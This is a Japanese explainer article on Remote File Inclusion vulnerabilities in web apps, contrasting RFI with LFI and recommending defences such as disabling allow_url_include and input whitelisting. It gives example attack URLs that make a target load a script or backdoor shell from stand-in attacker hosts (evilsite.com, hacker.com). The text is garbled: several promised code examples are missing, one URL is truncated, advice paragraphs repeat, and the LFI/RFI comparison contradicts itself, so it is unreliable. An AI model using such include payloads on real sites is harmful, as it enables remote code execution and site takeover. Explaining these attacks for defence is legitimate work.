現代のビジネス環境では、ウェブアプリなしで事業を運営するのは難しいと考えられます。ウェブアプリは、業務の効率化やコミュニケーション、協力、顧客との連携など、多くの利点をもたらすため、事業に欠かせないツールとなっています。
そのため、ウェブアプリに不具合が生じると業務に支障が出たり、情報漏洩、最悪の場合は事業停止につながる恐れがあります。オンラインデータをより安全に守るため、ウェブアプリの脆弱性に注意を払うことが基本です。
RFIは、外部のコンテンツを常に参照するウェブアプリの脆弱性を狙った攻撃です。攻撃者は、ウェブアプリの仕組みを利用して、リモートURLから悪意あるマルウェア(例:リモートシェル)を読み込ませようとします。
成功したRFI攻撃は、情報漏洩、ユーザ乗っ取り、サイトの乗っ取りやコンテンツ改竄などの被害をもたらす可能性があります。
RFIを利用すると、攻撃者はウェブアプリにリモートファイルを読み込ませることが可能です。これは、外部ファイルやスクリプトを読み込む設計になっているウェブアプリで発生します。潜在的な被害として、個人情報の漏洩、クロスサイトスクリプティング(XSS)、リモートコード実行、最終的にはシステム全体の侵害にまでつながる恐れがあります。
リモートファイル読み込み攻撃は、ウェブアプリがページの一部としてファイルを読み込む際に適切にサニタイズを行わない場合に発生し、外部URLが渡される可能性がある状況を利用します。
RFIを実行する際、対象の言語のinclude関数などにファイルURLを含む文字列を渡します。攻撃対象のウェブサイトはそのURLにアクセスして内容を取得し、ページに組み込んで出力します。その後、言語のパーサによって処理されます。
例えば、GETパラメータに基づいてローカルファイルを組み込みたい開発者がいるとします。main.php、contact.php、about.phpなど、各ファイルはサイトに異なる機能を提供しており、次のリクエストで呼び出すことができます:
https://example.com/index.php?page=contact.php
開発者は特定のファイルが組み込まれることを期待していますが、攻撃者はディレクトリを変更して他のファイル(LFI)や、自身が管理するサーバ上のリモートファイル(RFI)を組み込むことも可能です。ホワイトリストがなければ、プログラミング言語のinclude関数で指定するファイルパスを変更できるため、通常はローカルファイルを読み込むはずが、RFI攻撃では攻撃者管理のファイルに切り替えることができます。これにより、サーバのログを改ざんしたりコードを注入することなく、悪意あるコードを含ませることが可能となります。
なお、RFI脆弱性を突かれた場合の影響は、ウェブサーバの実行権限に依存します。読み込まれたコードは該当ユーザ権限で実行されるため、悪意あるコードが動作する恐れがあります。さらに、ウェブサーバが管理者権限を持つ場合には、システム全体の乗っ取りにつながる可能性もあります。
RFI攻撃の仕組みを説明するため、以下の例を考えてみましょう:
次のリクエストで制御可能です:
キーとなります。
このリクエストにより、攻撃者は秘密鍵ファイルの内容を取得する可能性があります。
サニタイズが行われていない場合、同様の記述を利用してマルウェアを埋め込むことが可能です。
例: Page2.jsp?conf=https://evilsite.com/attack.js
例として、以下のコードを考えます:
この例では、最初の行でHTTPリクエストからファイルパスが取得され、次の行でその値を連結してファイル名が形成されます。適切なサニタイズが行われなければ、不正なファイルの読み込みに悪用される恐れがあります。
例えば、このURL http://www.example.com/vuln_page.php?file=http://www.hacker.com/backdoor_ は、リモート上の別のパスに保存されているファイル(http://www.hacker.com/backdoor_shell.php)への外部参照を含んでいます。
このファイルが読み込まれることで、攻撃者は対象システムのユーザを乗っ取ったり、データベースにアクセスする可能性があります。
PHPのファイル読み込み攻撃の影響は、攻撃手法によって異なります。成功した攻撃は、情報漏洩、XSS、リモートコード実行、さらにはシステム全体の乗っ取りを招くことがあります。
LFI(ローカルファイルインクルージョン)とRFI(リモートファイルインクルージョン)は、PHPウェブアプリによく見られる脆弱性です。不適切に作られたウェブアプリや、適切なセキュリティ対策が取られていない場合に発生します。サイバー犯罪者は、これらの脆弱性を悪用して、機密情報を漏洩させたり、システム全体を乗っ取る可能性があります。
LFIとRFIの主な違いは、組み込まれるファイルの場所にあります。LFI攻撃では、攻撃者が対象システム上にあるローカルファイルを使用して悪意あるコンテンツを実行します。これらの攻撃は、単にブラウザから実行できる場合があります。一方、RFI攻撃では、外部のファイルが使用されます。
どちらも、ウェブアプリに悪意あるファイルを読み込ませる手法であり、ファイル読み込み攻撃というカテゴリに含まれます。
いずれの場合も、成功した攻撃は対象システムにマルウェアが読み込まれる結果となります。しかし、RFI攻撃とは異なり、LFI攻撃はユーザが提供する情報の検証不足を突いて実行される点が特徴です。
そのため、悪意あるファイルの読み込みやディレクトリトラバーサル攻撃が懸念されます。攻撃者は、リモートの制御されたサーバ上にあるファイルを利用するのではなく、攻撃済みのシステムに直接マルウェアを読み込ませることが容易になります。
RFI脆弱性を防ぐため、使用しない場合はプログラミング言語の設定でリモートインクルード機能を無効にすることが推奨されます。PHPの場合、allow_url_includeを'0'に設定できます。また、include関数にユーザ入力を渡す前に必ず検証する必要があります。ホワイトリストを用いる方法が一般的です。
正しい入力検証とサニタイズにより、RFI攻撃のリスクを軽減できます。ただし、すべてのユーザ提供情報が完全に安全になるわけではないため、サニタイズはあくまで補助的な対策であることに留意してください。できる限りユーザからの入力は洗浄することが望ましいです。対象の情報は以下の通りです:
サニタイズの際は、拒否リストではなくホワイトリストを用いて入力を検証することが推奨されます。拒否リストは、攻撃者が入力を16進数やエンコードされた形式で送る可能性があるため、十分な対策とは言えません。クライアント側での入力検証を併用するのも有効ですが、これだけでは万全とはならないので、あくまで補助的な手段として扱ってください。
最後に、アップロード時に実行権限を制限するとともに、許可するファイル形式(例:PDF、DOC、JPGなど)のホワイトリストを維持し、ファイルサイズの制限も合わせて検討することが望ましいです。
また、サニタイズの際には、拒否すべき文字よりも許可する文字のホワイトリストでチェックすることが一般的です。拒否リストだけでは、攻撃者がエンコードや16進数などの形式で入力する場合に対応できないためです。
クライアント側での入力検証ツールを適用することも望ましいですが、これも単独では十分な対策とはならないため、あくまで補助的な手段として利用してください。
最後に、アップロードされたファイルの実行権限を制限し、許可するファイル形式のホワイトリストを管理するとともに、ファイルサイズの制限も検討することが重要です。
RFIを検出する最も効果的な方法は、自動脆弱性スキャナーを利用することです。手動の侵入テストでも発見可能ですが、コストやリソースがかかります。
ファイル読み込みの脆弱性は、ウェブアプリのinclude機能を悪用し、機密情報にアクセスするための好都合な脆弱性です。対策はあるものの、1回の成功した攻撃で重要な情報が漏洩し、業務継続に支障が出る可能性があります。
適切なバックアップにより、組織のデジタルデータが守られ、サイバー攻撃発生時にも迅速にデータを復元して業務を再開できます。これにより、災害時にも電子ビジネスを継続することが可能です。
ウェブアプリケーションファイアウォール(WAF)やその脅威、対策方法、さらにsqli(SQLインジェクション)やクロスサイトフォージェリについての知識を深めることを推奨します。
最新情報を購読